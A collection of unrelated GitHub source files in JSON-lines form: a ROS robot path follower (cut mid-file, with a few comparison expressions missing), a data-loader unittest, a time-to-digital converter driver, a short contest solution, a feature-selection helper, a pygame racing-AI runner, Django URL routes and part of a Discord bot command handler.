False)\n self._as.start()\n\n\n def clbk_map(self,msg):\n self.map_first_cb=True\n self.map=msg\n\n\n def clbk_odom(self, msg): \n if(self.first_run):\n #initialized this way to match co-ordinates in mapping\n self.previous_x = -msg.pose.pose.position.y\n self.previous_y = msg.pose.pose.position.x \n #initialized this way to match co-ordinates in mapping\n self.cur_x = -msg.pose.pose.position.y\n self.cur_y = msg.pose.pose.position.x\n rot_q = msg.pose.pose.orientation\n (self.roll, self.pitch, theta1) = euler_from_quaternion([rot_q.x, rot_q.y, rot_q.z, rot_q.w])\n self.theta=theta1+math.pi/2\n # calculate and update distance travelled till now\n d_increment = sqrt((self.cur_x - self.previous_x)**2 + (self.cur_y - self.previous_y)**2)\n self.total_distance = self.total_distance + d_increment \n self.previous_x = self.cur_x\n self.previous_y = self.cur_y\n self.first_run = False\n\n def restrict_ranges(self, start_angle, end_angle, min_distance, max_distance, ranges_li):\n\n restricted_ranges_li = [float('inf')] * len(ranges_li)\n\n for i in range(start_angle, end_angle + 1):\n if ranges_li[i] >= min_distance and ranges_li[i] <= max_distance:\n restricted_ranges_li[i] = ranges_li[i]\n return restricted_ranges_li\n\n def clbk_scan(self, msg):\n sub_ranges = list(msg.ranges)\n # print(len(ranges))\n \n self.ranges = self.restrict_ranges(-45, 45, 0.7, 4, sub_ranges)\n \n\n def stop_bot(self):\n self.command.linear.x = 0.0\n self.command.linear.y = 0.0\n self.command.linear.z = 0.0\n self.command.angular.x = 0.0\n self.command.angular.y = 0.0\n self.command.angular.z = 0.0\n\n def dist_err(self):\n inc_x = self.goal_x - self.cur_x\n inc_y = self.goal_y - self.cur_y\n return sqrt(inc_x**2 + inc_y**2)\n \n def angle_to_turn(self):\n if self.current_goal_index+1>=len(self.trajectory_x):\n return 0\n angle_to_goal = atan2(self.trajectory_y[self.current_goal_index+1]-self.goal_y, self.trajectory_x[self.current_goal_index+1]-self.goal_x)\n angle=angle_to_goal-self.theta\n if abs(angle) self.angle_err_threshold):\n # # turn the bot\n # for i in range(len(self.trajectory_x)):\n # for j in range(len(ox)):\n # if(int(self.trajectory_x[i]*20)==int(ox[j]*20) and int(self.trajectory_y[i]*20)==int(oy[j])*20):\n # self.stop_bot()\n # self.flag = False\n # self.pub_vel.publish(self.command)\n # print(\"stopped bot cuz obj detected\")\n # # result is set to True \n # self._result.ack = True\n # self._as.set_succeeded(self._result, 'Obstacle detected in front')\n # broken=True\n # break\n # if(broken):\n # break\n # # print(\"Obstacle neglected\")\n # if(broken):\n # break\n\n\n # # if bot has travelled more than 2m, stop the bot mapping.py to map obstacles\n # elif self.total_distance>self.stopping_dist:\n # self.stop_bot()\n # self.pub_vel.publish(self.command)\n # self.total_distance = 0.0\n # #delay of 2 secs for updation of obstacles\n # rospy.sleep(2)\n \n # bot needs angle correction\n if abs(self.angle_to_turn()) > self.angle_err_threshold:\n self.command.linear.x = 0.0\n if self.angle_to_turn() > 0:\n self.command.angular.z = self.angular_vel\n else:\n self.command.angular.z = -self.angular_vel\n self.pub_vel.publish(self.command)\n print(\"turning for \"+str(self.angle_to_turn()/self.angular_vel)+\" seconds\")\n rospy.sleep(abs(self.angle_to_turn()/self.angular_vel))\n\n \n \n\n # bot is aligned to the goal but needs to move forward \n\n if abs(self.dist_err()) > self.dist_err_threshold:\n\n if obj_dist self.angle_err_threshold):\n # turn the bot\n for i in range(len(self.trajectory_x)):\n if(self.map.data[int((self.trajectory_y[i]+10)*20)*self.map.info.width+int((self.trajectory_x[i]+10)*20)]==100):\n self.stop_bot()\n self.flag = False\n self.pub_vel.publish(self.command)\n print(\"stopped bot cuz obj detected\")\n # result is set to True \n self._result.ack = True\n self._as.set_succeeded(self._result, 'Obstacle detected in front')\n broken=True\n break\n # print(\"Obstacle neglected\")\n if(broken):\n break\n\n self.command.linear.x = self.linear_vel\n self.command.angular.z = 0.0\n self.pub_vel.publish(self.command)\n print(self.dist_err())\n rospy.sleep(self.dist_err()/self.linear_vel)\n\n \n\n\n # if bot has travelled more than 2m, stop the bot mapping.py to map obstacles\n elif self.total_distance>self.stopping_dist:\n self.stop_bot()\n self.pub_vel.publish(self.command)\n self.total_distance = 0.0\n #delay of 2 secs for updation of obstacles\n rospy.sleep(2)\n # bot has reached the current goal\n \n # update goal index\n self.current_goal_index = self.current_goal_index+1\n\n if self.current_goal_index >= len(self.trajectory_x):\n self.stop_bot()\n self.flag = False\n self.pub_vel.publish(self.command)\n self.pub_vel.publish(self.command)\n self.pub_vel.publish(self.command)\n self.pub_vel.publish(self.command)\n print(\"goal reached\")\n # result is set to False \n self._result.ack = False\n \n self._as.set_succeeded(self._result, 'Reached the Goal')\n else:\n self.goal_x = self.trajectory_x[self.current_goal_index]\n self.goal_y = self.trajectory_y[self.current_goal_index] \n print(\"finished turning\")\n if self.flag:\n # publish the feedback \n self._feedback.current_pos.x = self.cur_x\n self._feedback.current_pos.y = self.cur_y \n self._as.publish_feedback(self._feedback)\n\n '''\n # this step is not necessary, the sequence is computed at 1 Hz. But this can be useful later.\n r = rospy.Rate(1)\n r.sleep()\n '''\n \nif __name__ == '__main__':\n rospy.init_node('path_follow')\n server = PathFollower(rospy.get_name())\n rospy.spin()","repo_name":"AtharvMane/planner_cpp","sub_path":"scripts/path_follower_up.py","file_name":"path_follower_up.py","file_ext":"py","file_size_in_byte":14032,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"16316250455","text":"import logging\nimport unittest\n\nimport Resources.testing as resources\nfrom Pipeline.data_loaders_IMG import DataloaderImages\nfrom Pipeline.resampling import get_fixed_number_of_indices\n\n\nclass TestDataLoaderIMG(unittest.TestCase):\n def setUp(self):\n self.img_cache_dirname = resources.data_loader_img_file\n\n def test_get_fixed_number_of_elements_and_their_indices_from_various_sized_list(\n self):\n for i in [2, 10, 20, 33, 100]:\n for j in [2, 5, 8, 10, 20]:\n self.create_list_and_test(i, j)\n\n def create_list_and_test(self, list_length, n_elements):\n logger = logging.getLogger(__name__)\n logger.info(f'list len: {list_length}, required elements: {n_elements}')\n if n_elements > list_length:\n return\n x = get_fixed_number_of_indices(\n list_length, n_elements)\n\n self.assertEqual(len(x), n_elements)\n\n def test_ignore_useless(self):\n dl = DataloaderImages()\n dl2 = DataloaderImages(ignore_useless_states=False)\n res = dl.get_sensordata_and_flowfront(resources.test_useless_file)\n res2 = dl2.get_sensordata_and_flowfront(resources.test_useless_file)\n self.assertEqual(len(res2) - len(res), 17) # since 17 frames are ignored in this file\n\n def tearDown(self):\n pass\n\n\nif __name__ == '__main__':\n unittest.main()\n","repo_name":"isse-augsburg/rtm-predictions","sub_path":"Tests/test_data_loaders_IMG.py","file_name":"test_data_loaders_IMG.py","file_ext":"py","file_size_in_byte":1378,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"74442862274","text":"# this is a class written for general usage of the TDC.\n# there is no phase-imaging related processing here, that is \n# handled in tdc_analysis_mgr.py. this class handles all \n# communication with the TDC and maintains a buffer \n# as well as operations for interacting with this buffer.\n\nimport controller_config\n\nimport numpy as np\nimport ctypes \nimport time \nimport atexit\nimport collections \nimport sys\nimport os \n\n_max_tdc_buf_size = 2**16\n\ncode_path = os.path.abspath( os.path.dirname( __file__ ) )\nos.chdir( code_path ) \n_dll_path = code_path + '\\hptdc_driver_3.4.3_x86_c_wrap.dll'\nprint( 'INFO: loading TDC dll: ', _dll_path ) \nfake_data_path = os.path.join( code_path, '..', 'debug', 'test_data_tabor_on.npy' )\n\nSAVE_FAKE_DATA = 0\n\n\n# falling_transition_mask = 2**31 \n# rising_transition_mask = 2**31 + 2**30 \n\n\n# amount of time in micro-seconds represented by one rollover.\n# each rollover is an absence of hits on any of the TDC channels for this amount of time. \nROLLOVER_DURATION = 512 \n\n\nrising_mask = 3\nfalling_mask = 2\nrollover_mask = 2**28\nchannel_mask = np.sum( 2 ** np.arange( 24, 31, dtype = 'int' ) )\ntime_mask = np.sum( 2 ** np.arange( 0, 24, dtype = 'int' ) )\ngroup_mask = np.sum( 2 ** np.arange( 24, 32, dtype = 'int' ) )\n\n\n\nclass TDC( object ) :\n \n def __init__( self ) :\n \n # load the TDC c API\n if not controller_config.USE_FAKE_DATA :\n self.tdc_driver_lib = ctypes.CDLL( _dll_path )\n \n self.tdc_ctx = self.tdc_driver_lib.TDCManager_New()\n \n # connect to the tdc and start DAQ\n self.tdc_driver_lib.TDCManager_Init( self.tdc_ctx )\n self.tdc_driver_lib.TDCManager_Start( self.tdc_ctx )\n \n # verify that the TDC is functioning as expected\n # state = self.get_state()\n # print( 'state: ', state )\n self.collecting_data = 1\n \n # register this function to be called when the program \n # terminates\n atexit.register( self.disconnect )\n\n else :\n self.collecting_data = 1 \n \n # hits from the TDC are stored here prior to processing. \n self.data_buf = np.zeros( _max_tdc_buf_size, dtype = 'uint32' )\n\n # the data in data_buf is processed and inserted into these arrays \n self.channels = np.zeros( _max_tdc_buf_size, dtype = 'uint8' )\n self.times = np.zeros( _max_tdc_buf_size, dtype = 'int32' )\n self.timestamps = np.zeros( _max_tdc_buf_size, dtype = float )\n self.rollovers = np.zeros( _max_tdc_buf_size, dtype = 'uint8' )\n self.groups = np.zeros( _max_tdc_buf_size, dtype = 'uint8' )\n\n self.start_time = time.time()\n self.duration = 0\n\n # increment if the rollover counter resets. that will occur in a session of more than 143\n # minutes. it's not a problem, just needs to be accounted for here.\n self.num_rollover_loops = 0 \n \n self.num_data_in_buf = 0\n \n \n def disconnect( self ) : \n print( 'INFO: deleting tdc_ctx' )\n if not controller_config.USE_FAKE_DATA : \n self.tdc_driver_lib.TDCManager_CleanUp( self.tdc_ctx )\n self.tdc_driver_lib.TDCManager_Delete( self.tdc_ctx )\n self.collecting_data = 0\n\n \n def toggle( self ) :\n if self.collecting_data :\n self.pause()\n else :\n self.resume()\n return self.collecting_data\n \n \n # pause data collection\n def pause( self ) :\n if not controller_config.USE_FAKE_DATA : \n self.tdc_driver_lib.TDCManager_Pause( self.tdc_ctx )\n self.collecting_data = 0\n\n \n def resume( self ) :\n if not controller_config.USE_FAKE_DATA : \n self.tdc_driver_lib.TDCManager_Continue( self.tdc_ctx )\n # self.start_time = time.time()\n self.collecting_data = 1\n\n def clear( self ) :\n # if not controller_config.USE_FAKE_DATA :\n # self.tdc_driver_lib.TDCManager_ClearBuffer( self.tdc_ctx )\n self.start_time = time.time() \n self.num_data_in_buf = 0\n self.prev_rollover_count = 0\n self.num_rollover_loops = 0 \n \n \n def get_state( self ) :\n state = -1\n if not controller_config.USE_FAKE_DATA : \n state = self.tdc_driver_lib.TDCManager_GetState( self.tdc_ctx )\n return state\n \n def read( self ) :\n\n if not controller_config.USE_TDC :\n return \n \n if controller_config.BENCHMARK :\n start = time.time()\n \n if SAVE_FAKE_DATA : \n time.sleep(5)\n \n if controller_config.USE_FAKE_DATA :\n # print( self.collecting_data )\n \n if self.collecting_data : \n self.data_buf = np.load( fake_data_path )\n self.num_data_in_buf = np.where( self.data_buf == 0 )[0][0]\n\n else : \n # pass\n self.num_data_in_buf = self.tdc_driver_lib.TDCManager_Read( \n self.tdc_ctx,\n self.data_buf.ctypes.data_as( ctypes.POINTER( ctypes.c_uint ) ), \n _max_tdc_buf_size );\n \n # print( self.data_buf )\n # print( self.num_data_in_buf )\n\n if self.num_data_in_buf == 0 :\n return\n \n tmp = self.data_buf[ : self.num_data_in_buf ]\n \n self.channels[ : self.num_data_in_buf ] = self.get_channels( tmp ) \n self.times[ : self.num_data_in_buf ] = self.get_times( tmp ) \n self.rollovers[ : self.num_data_in_buf ] = self.get_rollovers( tmp ) \n self.groups[ : self.num_data_in_buf ] = self.get_groups( tmp ) \n\n # print( 'num rollovers: ', np.sum( self.rollovers[ : self.num_data_in_buf]))\n \n # self.compute_timestamps() \n\n rollovers = self.rollovers[ : self.num_data_in_buf ] \n \n rollover_start, rollover_end = self.get_rollover_boundaries( rollovers )\n\n self.sort_data( rollover_start, rollover_end )\n self.compute_timestamps( rollover_start, rollover_end )\n self.update_time()\n # print( self.duration )\n \n if controller_config.BENCHMARK :\n end = time.time()\n diff = ( end - start ) * 1000 \n print( 'BENCHMARK: read %d hits in %f ms'\n % ( self.num_data_in_buf, diff ) )\n print( 'Num rollovers: %d ' % np.sum( self.rollovers[ : self.num_data_in_buf ] ))\n # print( 'State: %d' % self.get_state() )\n # print( 'num data in buf', self.num_data_in_buf )\n \n if SAVE_FAKE_DATA : \n print( 'INFO: saving fake tdc data.' )\n \n out = np.vstack( ( self.channels[ : self.num_data_in_buf ],\n self.rollovers[ : self.num_data_in_buf ],\n self.times[ : self.num_data_in_buf ] ) )\n np.savetxt( 'debug_tdc_data.tsv', out, delimiter = '\\t' )\n sys.exit(0) \n\n return self.num_data_in_buf\n\n\n\n \n # input: mask stating whether each hit in the array is a rollover or not (1 or 0 respectively)\n # \n # output: returns two equal-size arrays, 'start' and 'end', such that the range start[i] : end[i]\n # are NOT hits. so start gives the indices of each block of non-rollover data, and end gives\n # the indices of the first rollover in any sequence of consecutive rollovers.\n # \n # for example, suppose the rollover mask looks like this: 0 1 1 1 0 0 0 1 1 0 0 0 0\n # let s = start, e = end. then the start / end indices are: s e s e s e\n #\n # thus, start = ( 0, 4, 9 ) and end = ( 1, 7, 12 ).\n # \n # note that if the first hit is not a rollover or the last hit is not a rollover (both of\n # wich are the case in the above example), then start or end is designated accordingly.\n \n def get_rollover_boundaries( self, rollovers ) :\n\n tmp = np.roll( rollovers, 1 )\n tmp[0] = rollovers[0]\n\n start = np.where( rollovers < tmp )[0]\n end = np.where( rollovers > tmp )[0]\n\n if not rollovers[0] :\n start = np.insert( start, 0, 0 ) \n\n if not rollovers[-1] :\n end = np.append( end, len( rollovers ) ) \n\n return start, end\n\n \n \n # the data is only partially sorted when it comes out of the TDC.\n # complete the sorting between each group of consecutive rolloovers.\n # @jit\n def sort_data( self, rollover_start, rollover_end ) :\n\n num_data = self.num_data_in_buf\n\n rollovers = self.rollovers[ : num_data ]\n channels = self.channels[ : num_data ]\n times = self.times[ : num_data ]\n \n if controller_config.PRINT_TDC_DATA : \n print( 'rollovers: ')\n print( rollovers )\n print( '\\nchannels:' )\n print( channels ) \n print( '\\ntimes:')\n print( times )\n print( '\\nrollover start and end:' ) \n print( rollover_start, rollover_end ) \n\n # print( rollovers )\n # print( rollover_start )\n # print( rollover_end )\n\n # sys.exit(0 ) \n \n for i in range( len( rollover_start ) ) :\n\n start = rollover_start[i]\n end = rollover_end[i]\n\n # print( start ) \n\n # print( times[ start - 1 : end + 1 ] )\n \n sort_indices = start + np.argsort( times[ start : end ] )\n times[ start : end ] = times[ sort_indices ]\n channels[ start : end ] = channels[ sort_indices ]\n\n # print( times[ start - 1 : end + 1 ] )\n\n\n \n # set the absolute timestamp of aech event.\n\n def compute_timestamps( self, rollover_start, rollover_end ) :\n\n if len( rollover_start ) == 0 :\n return\n \n num_data = self.num_data_in_buf \n times = self.times[ : num_data ]\n # timestamps = self.timestamps[ : num_data ] \n\n # this array will contain the absolute time of the rollover corresponding to each\n absolute_rollover_times = np.zeros( num_data )\n\n for i in range( len( rollover_start ) ) :\n\n start = rollover_start[i]\n end = rollover_end[i]\n\n if start > 0 :\n rollover_count = times[ start - 1 ]\n if rollover_count < self.prev_rollover_count :\n self.num_rollover_loops += 1\n else :\n rollover_count = self.prev_rollover_count\n # rollover_idx = self.prev_rollover_idx \n \n # note that times[ start ] is the rollover count.\n absolute_rollover_times[ start : end ] = (\n ( self.num_rollover_loops * ( 2 ** 24 ) + rollover_count ) * ( 2 **24 ) ) \n\n # now compute the absolute time of each hit by adding its time to the associated absolute\n # rollover time. the timestamps of the rollovers will be nonsense, that could be corrected\n # if one so desired but there is no reason to preserve them once they have been used for\n # sorting and absolute time computation.\n self.timestamps[ : num_data ] = ( absolute_rollover_times + times ) * 25 / 1e6\n\n self.prev_rollover_count = rollover_count\n \n def reset( self ) :\n self.num_data_in_buf = 0\n self.duration = 0 \n self.start_time = time.time() \n \n def get_channels( self, hits ) :\n return np.right_shift( np.bitwise_and( hits, channel_mask ), 24 )\n\n def get_times( self, hits ) :\n return np.bitwise_and( hits, time_mask )\n\n def get_rollovers( self, hits ) :\n return np.bitwise_and( hits, rollover_mask ) == rollover_mask\n\n def get_groups( self, hits ) :\n # return np.right_shift( np.bitwise_and( hits, group_mask ), 24 ) == 0\n return np.right_shift( hits, 24 ) == 0\n\n def get_rising( self, hits ) :\n return np.right_shift( hits, 30 ) == rising_mask\n\n def get_falling( self, hits ) :\n return np.right_shift( hits, 30 ) == falling_mask \n \n \n def print_bin( self, x ) :\n print( format( x, '#034b' ) )\n\n def update_time( self ) :\n if self.collecting_data : \n self.duration = time.time() - self.start_time \n","repo_name":"jacobpierce1/cpt_tools","sub_path":"gui_controller/tdc.py","file_name":"tdc.py","file_ext":"py","file_size_in_byte":12359,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"21984174477","text":"# 仮説1: まずforループ\n# 左の条件はP[:j:i]、右はPi <= Pj ← PjというのはP[:j:i]\n# P[:j:i]の全てのカズはPi以上でないといけない。  ←PiというのはP[:j:i]の最小値ということ!!!\n# 今回はPiを軸として「bench」とおき、P[:j:i]をpとし、\n# min(p) < benchとなった場合はcount += 1とし、\n# print(N - count)とした。\n\nN = int(input())\nP = [int(i) for i in input().split()]\n\n# count = 0\n#\n# for i, value in enumerate(P):\n# bench = P[value - 1]\n# p = P[:value]\n# if min(p) < bench:\n# count += 1\n#\n# print(N - count)\nbench = P[0]\ncount = 0\nfor i in range(N):\n if bench >= P[i]:\n bench = P[i]\n count += 1\n\nprint(count)","repo_name":"nishiyama4477/abc_c","sub_path":"152.py","file_name":"152.py","file_ext":"py","file_size_in_byte":755,"program_lang":"python","lang":"ja","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"591944098","text":"# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Tue Jul 11 12:55:03 2017\n\n@author: baiintern1\n\"\"\"\nfrom sklearn.feature_selection import SelectKBest\nfrom sklearn.feature_selection import f_classif\n\ndef selectfeatures(X,y,k,labels):\n \"\"\"selects the best k features by looking at X and y]\n \n Args:\n X(numpy array): a 2d array with all the columns\n y(list): the classes that each of the samples are in\n k(int): tht total number of features to return\n labels(list): the labels for the columns in X\n \n Returns:\n (list): the k most signficant features form the data\"\"\"\n sel = SelectKBest(f_classif,\"all\")\n sel.fit(X,y)\n z = zip(sel.scores_, labels)\n a = sorted(z,key=lambda x: -x[0])\n nums = []\n count=0\n for i,j in a:\n if count= 30:\n self.gen_over = True\n\n # Parse and act on keyboard inputs\n self.parse_keyboard_input()\n \n self.track.render()\n\n # Call functions to control AI\n if self.race_ai.gen_over() or self.gen_time >= 30 or self.gen_over:\n self.race_ai.next_gen()\n self.gen_over = False\n self.gen_time = 0\n elif not self.paused:\n self.race_ai.run(frame_time)\n\n self.race_ai.render() \n\n # Display debug infomation\n if self.display_debug:\n self.debug(self.window, clock, self.race_ai.gen)\n\n pygame.display.update()\n\n return const.MODE.MAIN","repo_name":"alexelwood14/Hello-AI","sub_path":"runner.py","file_name":"runner.py","file_ext":"py","file_size_in_byte":3176,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"31003803719","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.home, name= 'home'),\n path('index', views.index, name= 'index'),\n path('login/', views.login_view, name='login_view'),\n path('register/', views.register, name='register'),\n path('adminpage/', views.admin, name='adminpage'),\n path('customer/', views.customer, name='customer'),\n path('employee/', views.employee, name='employee'),\n path('wear',views.troling,name='wear'),\n path('product/',views.product,name='product') ,\n path('product_add/',views.product_add,name='product_add') ,\n path('product_view/',views.product_view,name='product_view') ,\n path('tr_view/',views.tr_view,name='tr_view') ,\n path('logout/',views.logout,name='logout') ,\n path('admin_view_product',views.admin_view_product,name='admin_view_product') ,\n path('admin_all_prdct_view',views.admin_all_prdct_view,name='admin_all_prdct_view') ,\n path('cust_all_prdct_view',views.cust_all_prdct_view,name='cust_all_prdct_view') ,\n path('cust_view_product/',views.cust_view_product,name='cust_view_product') ,\n path('cust_view_product/',views.cartview,name='cart') ,\n path('carts/',views.carts,name='carts') ,\n path('carts/',views.payment,name='payment') ,\n path('boatdetails',views.boatdetails,name='boatdetails'),\n path('viewboat',views.viewboat,name='viewboat'),\n path('delete//', views.delete, name=\"delete\"),\n path('edit//', views.edit, name=\"edit\"),\n path('update//', views.update, name=\"update\"),\n path('main',views.ms,name='main'),\n path('status',views.status,name='status'),\n path('climate',views.climate,name='climate'),\n path('map/',views.map,name='map'),\n path('fishermen',views.fishermendetails,name='fishermen'),\n path('adminviewfishermen',views.adminviewfishermen,name='adminviewfishermen'),\n\n # path('delete_cart//', views.delete_cart, name=\"delete_cart\"),#the path for our index view\n]\n","repo_name":"AISHWARYATE/project","sub_path":"fish_new-project/account/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1996,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"71974795073","text":"from datetime import datetime\nfrom emoji import UNICODE_EMOJI\nimport asyncio\nimport io\nfrom aiohttp import web\nfrom aiohttp.web import AppRunner, Application, TCPSite\n\nimport discord\nimport logging\nimport messagefuncs\nimport netcode\nimport greeting\nimport inspect\nimport janissary\nimport random\nimport re\nfrom sys import exc_info\nimport textwrap\nimport traceback\nimport ujson\nfrom functools import lru_cache, partial\nfrom sentry_sdk import configure_scope\nfrom asyncache import cached\nfrom cachetools import TTLCache\n\nlogger = logging.getLogger(\"fletcher\")\n\nregex_cache = {}\nwebhooks_cache = {}\nremote_command_runner = None\nAns = None\n\n\ndef str_to_arr(string, delim=\",\", strip=True, filter_function=None.__ne__):\n array = string.split(delim)\n if strip:\n array = map(str.strip, array)\n if all(el.isnumeric for el in array):\n array = map(int, array)\n return filter(filter_function, array)\n\n\nclass Command:\n def __init__(\n self,\n trigger=None,\n function=None,\n sync=None,\n hidden=None,\n admin=None,\n args_num=None,\n args_name=None,\n description=None,\n ):\n self.trigger = trigger\n self.function = function\n self.sync = sync\n self.hidden = hidden\n self.admin = admin\n self.arguments = {\"min_count\": args_num, \"names\": args_name}\n self.description = description\n\n\nclass CommandHandler:\n\n # constructor\n def __init__(self, client):\n self.client = client\n self.commands = []\n self.join_handlers = {}\n self.remove_handlers = {}\n self.reload_handlers = {}\n self.message_reaction_handlers = {}\n self.message_reaction_remove_handlers = {}\n self.tag_id_as_command = re.compile(\n \"(?:^(?:Oh)?\\s*(?:\"\n + client.user.mention\n + \"|Fletch[er]*)[, .]*)|(?:[, .]*(?:\"\n + client.user.mention\n + \"|Fletch[er]*)[, .]*$)\",\n re.IGNORECASE,\n )\n self.bang_remover = re.compile(\"^!+\")\n self.global_admin = client.get_user(config[\"discord\"].get(\"globalAdmin\", 0))\n\n def add_command(self, command):\n command[\"module\"] = inspect.stack()[1][1].split(\"/\")[-1].rstrip(\".py\")\n if type(command[\"trigger\"]) != tuple:\n command[\"trigger\"] = tuple(command[\"trigger\"])\n logger.debug(f\"Loading command {command}\")\n self.commands.append(command)\n\n def add_remove_handler(self, func_name, func):\n self.remove_handlers[func_name] = func\n\n def add_join_handler(self, func_name, func):\n self.join_handlers[func_name] = func\n\n def add_reload_handler(self, func_name, func):\n self.reload_handlers[func_name] = func\n\n def add_message_reaction_remove_handler(self, message_ids, func):\n for message_id in message_ids:\n self.message_reaction_remove_handlers[message_id] = func\n\n def add_message_reaction_handler(self, message_ids, func):\n for message_id in message_ids:\n self.message_reaction_handlers[message_id] = func\n\n async def tupper_proc(self, message):\n global config\n global webhooks_cache\n tupperId = 431544605209788416\n sync = config.get(section=\"sync\")\n user = message.author\n if type(message.channel) is not discord.TextChannel:\n return\n if not (\n message.guild\n and sync.get(f\"tupper-ignore-{message.guild.id}\")\n or sync.get(f\"tupper-ignore-m{user.id}\")\n ):\n return\n tupper = discord.utils.get(message.channel.members, id=tupperId)\n if tupper is not None:\n tupper_status = tupper.status\n else:\n tupper_status = None\n if (\n (tupper is not None)\n and (self.user_config(user.id, None, \"prefer-tupper\") == \"1\")\n or (\n self.user_config(\n user.id,\n message.guild.id,\n \"prefer-tupper\",\n allow_global_substitute=True,\n )\n == \"0\"\n )\n and (tupper_status == discord.Status.online)\n ):\n return\n for prefix in tuple(sync.get(f\"tupper-ignore-{message.guild.id}\", [])) + tuple(\n sync.get(f\"tupper-ignore-m{user.id}\", [])\n ):\n tupperreplace = None\n if prefix and message.content.startswith(prefix.lstrip()):\n if sync.get(\n f\"tupper-replace-{message.guild.id}-{user.id}-{prefix}-nick\"\n ):\n tupperreplace = (\n f\"tupper-replace-{message.guild.id}-{user.id}-{prefix}\"\n )\n elif sync.get(f\"tupper-replace-None-{user.id}-{prefix}-nick\"):\n tupperreplace = f\"tupper-replace-None-{user.id}-{prefix}\"\n if not tupperreplace:\n continue\n content = message.content[len(prefix) :]\n attachments = []\n if len(message.attachments) > 0:\n plural = \"\"\n if len(message.attachments) > 1:\n plural = \"s\"\n for attachment in message.attachments:\n logger.debug(\"Syncing \" + attachment.filename)\n attachment_blob = io.BytesIO()\n await attachment.save(attachment_blob)\n attachments.append(\n discord.File(attachment_blob, attachment.filename)\n )\n fromMessageName = sync.get(f\"{tupperreplace}-nick\", user.display_name)\n webhook = webhooks_cache.get(f\"{message.guild.id}:{message.channel.id}\")\n if not webhook:\n try:\n webhooks = await message.channel.webhooks()\n except discord.Forbidden:\n await messagefuncs.sendWrappedMessage(\n f\"Unable to list webhooks to fulfill your nickmask in {message.channel}! I need the manage webhooks permission to do that.\",\n user,\n )\n continue\n if len(webhooks) > 0:\n webhook = discord.utils.get(\n webhooks, name=config.get(section=\"discord\", key=\"botNavel\")\n )\n if not webhook:\n webhook = await message.channel.create_webhook(\n name=config.get(section=\"discord\", key=\"botNavel\"),\n reason=\"Autocreating for nickmask\",\n )\n webhooks_cache[f\"{message.guild.id}:{message.channel.id}\"] = webhook\n\n sent_message = await webhook.send(\n content=content,\n username=fromMessageName,\n avatar_url=sync.get(\n f\"{tupperreplace}-avatar\",\n user.avatar_url_as(format=\"png\", size=128),\n ),\n embeds=message.embeds,\n tts=message.tts,\n files=attachments,\n allowed_mentions=discord.AllowedMentions(\n everyone=False, users=False, roles=False\n ),\n wait=True,\n )\n cur = conn.cursor()\n cur.execute(\n \"INSERT INTO attributions (author_id, from_message, from_channel, from_guild, message, channel, guild) VALUES (%s, %s, %s, %s, %s, %s, %s) ON CONFLICT DO NOTHING;\",\n [\n user.id,\n None,\n None,\n None,\n sent_message.id,\n sent_message.channel.id,\n sent_message.guild.id\n if type(sent_message.channel) is not discord.DMChannel\n else None,\n ],\n )\n conn.commit()\n try:\n return await message.delete()\n except discord.NotFound:\n return\n except discord.Forbidden:\n return await messagefuncs.sendWrappedMessage(\n f\"Unable to remove original message for nickmask in {message.channel}! I need the manage messages permission to do that.\",\n user,\n )\n\n async def web_handler(self, request):\n json = await request.json()\n channel_config = ch.scope_config(\n guild=json[\"guild_id\"], channel=json[\"channel_id\"]\n )\n if request.remote == channel_config.get(\"remote_ip\", None):\n channel = self.client.get_guild(json[\"guild_id\"]).get_channel(\n json[\"channel_id\"]\n )\n await messagefuncs.sendWrappedMessage(json[\"message\"], channel)\n return web.Response(status=200)\n return web.Response(status=400)\n\n async def reaction_handler(self, reaction):\n with configure_scope() as scope:\n try:\n global config\n messageContent = str(reaction.emoji)\n channel = self.client.get_channel(reaction.channel_id)\n if not channel:\n logger.info(\"Channel does not exist\")\n return\n scope.set_tag(\n \"channel\",\n channel.name if type(channel) is not discord.DMChannel else \"DM\",\n )\n message = await channel.fetch_message(reaction.message_id)\n if message.guild:\n user = message.guild.get_member(reaction.user_id)\n scope.set_tag(\"guild\", message.guild.name)\n else:\n user = self.client.get_user(reaction.user_id)\n scope.user = {\"id\": reaction.user_id, \"username\": str(user)}\n admin = self.is_admin(message, user)\n args = [reaction, user, \"add\"]\n try:\n guild_config = self.scope_config(guild=message.guild)\n channel_config = self.scope_config(\n guild=message.guild, channel=message.channel\n )\n except (AttributeError, ValueError) as e:\n if \"guild\" in str(e):\n # DM configuration, default to none\n guild_config = {}\n channel_config = {}\n if type(channel) is discord.TextChannel:\n logger.info(\n f\"#{channel.guild.name}:{channel.name} <{user.name if user else 'Unknown User'}:{reaction.user_id}> reacting with {messageContent} to {message.id}\",\n extra={\n \"GUILD_IDENTIFIER\": channel.guild.name,\n \"CHANNEL_IDENTIFIER\": channel.name,\n \"SENDER_NAME\": user.name if user else \"Unkown User\",\n \"SENDER_ID\": reaction.user_id,\n \"MESSAGE_ID\": str(message.id),\n \"REACTION_IDENTIFIER\": messageContent,\n },\n )\n elif type(channel) is discord.DMChannel:\n logger.info(\n f\"@{channel.recipient.name} <{user.name if user else 'Unkown User'}:{reaction.user_id}> reacting with {messageContent} to {message.id}\",\n extra={\n \"GUILD_IDENTIFIER\": \"@\",\n \"CHANNEL_IDENTIFIER\": channel.recipient.name,\n \"SENDER_NAME\": user.name if user else \"Unkown User\",\n \"SENDER_ID\": reaction.user_id,\n \"MESSAGE_ID\": str(message.id),\n \"REACTION_IDENTIFIER\": messageContent,\n },\n )\n else:\n # Group Channels don't support bots so neither will we\n pass\n if (\n channel_config.get(\"blacklist-emoji\")\n and not admin[\"channel\"]\n and messageContent in channel_config.get(\"blacklist-emoji\")\n ):\n logger.info(\"Emoji removed by blacklist\")\n return await message.remove_reaction(messageContent, user)\n if guild_config.get(\"subscribe\", {}).get(message.id):\n for user_id in guild_config.get(\"subscribe\", {}).get(message.id):\n preview_message = await 